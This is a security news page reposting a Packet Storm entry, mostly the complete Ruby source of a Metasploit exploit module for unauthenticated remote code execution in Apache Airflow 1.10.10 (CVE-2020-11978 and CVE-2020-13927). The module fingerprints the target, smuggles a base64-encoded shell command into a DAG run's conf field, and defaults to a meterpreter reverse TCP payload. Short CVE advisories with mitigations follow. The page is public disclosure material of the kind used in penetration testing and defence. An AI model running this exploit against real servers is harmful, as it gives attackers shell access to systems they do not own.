Security
Headlines
HeadlinesLatestCVEs

Headline

Apache Airflow 1.10.10 Remote Code Execution

This Metasploit module exploits an unauthenticated command injection vulnerability by combining two critical vulnerabilities in Apache Airflow version 1.10.10. The first, CVE-2020-11978, is an authenticated command injection vulnerability found in one of Airflow’s example DAGs, "example_trigger_target_dag", which allows any authenticated user to run arbitrary OS commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow’s Experimental REST API to perform malicious actions such as creating the vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation and command injection, leading to unauthenticated remote code execution.

Packet Storm
#csrf#vulnerability#web#linux#apache#js#git#rce#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',        'Description' => %q{          This module exploits an unauthenticated command injection vulnerability          by combining two critical vulnerabilities in Apache Airflow 1.10.10.          The first, CVE-2020-11978, is an authenticated command injection vulnerability          found in one of Airflow's example DAGs, "example_trigger_target_dag", which          allows any authenticated user to run arbitrary OS commands as the user          running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default          setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's          Experimental REST API to perform malicious actions such as creating the          vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation          and command injection, leading to unauthenticated remote code execution.        },        'License' => MSF_LICENSE,        'Author' => [          'xuxiang',            # Original discovery and CVE submission          'Pepe Berba',         # ExploitDB author          'Ismail E. Dawoodjee' # Metasploit module author        ],        'References' => [          [ 'EDB', '49927' ],          [ 'CVE', '2020-11978' ],          [ 'CVE', '2020-13927' ],          [ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],          [ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],          [ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],        ],        'Platform' => ['linux', 'unix'],        'Arch' => ARCH_CMD,        'Targets' => [          [            'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }          ],        ],        'Privileged' => false,        'DisclosureDate' => '2020-07-14',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),        OptString.new('TARGETURI', [ true, 'Base path', '/' ]),        OptString.new('DAG_PATH', [          true,          'Path to vulnerable example DAG',          '/api/experimental/dags/example_trigger_target_dag'        ]),        OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])      ]    )  end  def check    uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')    vprint_status("Checking target web server for a response at: #{full_uri(uri)}")    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res      return CheckCode::Unknown('Target did not respond to check request.')    end    unless res.code == 200 &&           res.body.downcase.include?('admin') &&           res.body.downcase.include?('_csrf_token') &&           res.body.downcase.include?('sign in to airflow')      return CheckCode::Unknown('Target is not running Apache Airflow.')    end    vprint_good('Target is running Apache Airflow.')    vprint_status('Checking Apache Airflow version...')    version_number = res.body.to_s.scan(      %r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}    ).flatten.first    unless version_number      return CheckCode::Detected('Apache Airflow version cannot be determined.')    end    unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')      return CheckCode::Safe    end    vprint_status(      "Target is running Apache Airflow Version #{version_number}. " \      'Performing additional checks for exploitability...'    )    check_api    check_task    check_unpaused    return CheckCode::Appears  end  def check_api    uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')    vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res && res.code == 200      return CheckCode::Safe('Could not access the Airflow Experimental REST API.')    end    vprint_good('Airflow Experimental REST API is accessible.')  end  def check_task    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')    vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res && res.code == 200      return CheckCode::Safe(        'Could not find "example_trigger_target_dag.bash_task". ' \        'Target is not vulnerable to CVE-2020-11978.'      )    end    if res.get_json_document['env'].include?('dag_run')      return CheckCode::Safe(        'The "example_trigger_target_dag.bash_task" is patched. ' \        'Target is not vulnerable to CVE-2020-11978.'      )    end    vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')  end  def check_unpaused    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')    vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res && res.code == 200      return CheckCode::Safe(        'Could not unpause "example_trigger_target_dag.bash_task". ' \        'Example DAGs were not loaded.'      )    end    vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')  end  def create_dag(cmd)    cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')    vprint_status('Creating a new vulnerable DAG...')    res = send_request_cgi({      'method' => 'POST',      'uri' => uri,      'ctype' => 'application/json',      'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })    })    unless res && res.code == 200      fail_with(Failure::PayloadFailed, 'Failed to create DAG.')    end    print_good("Successfully created DAG: #{res.get_json_document['message']}")    return res.get_json_document['execution_date']  end  def await_execution(execution_date)    uri = normalize_uri(      target_uri.path,      datastore['DAG_PATH'],      'dag_runs', execution_date, 'tasks', 'bash_task'    )    print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')    vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')    i = 0    loop do      i += 1      sleep(10)      res = send_request_cgi({        'method' => 'GET',        'uri' => uri      })      unless res && res.code == 200        fail_with(Failure::Unknown, 'Bash task state cannot be determined.')      end      state = res.get_json_document['state']      if state == 'queued'        print_status('Bash task is queued...')      elsif state == 'running'        print_good('Bash task is running. Expect a session if executed successfully.')        break      elsif state == 'success'        print_good('Successfully ran Bash task. Expect a session soon.')        break      elsif state == 'None'        print_warning('Bash task is not yet queued...')      elsif state == 'scheduled'        print_status('Bash task is scheduled...')      else        print_status("Bash task state: #{state}.")        break      end      # stop loop when timeout      next unless datastore['TIMEOUT'] <= 10 * i      fail_with(Failure::TimeoutExpired,                'Bash task did not run within the specified time ' \                "- #{datastore['TIMEOUT']} seconds.")    end  end  def exploit    print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")    execution_date = create_dag(payload.encoded)    await_execution(execution_date)  endend

Related news

CVE-2020-13927

The previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but this poses security risks to users who miss this fact. From Airflow 1.10.11 the default has been changed to deny all requests by default and is documented at https://airflow.apache.org/docs/1.10.11/security.html#api-authentication. Note this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default

CVE-2020-11978

An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution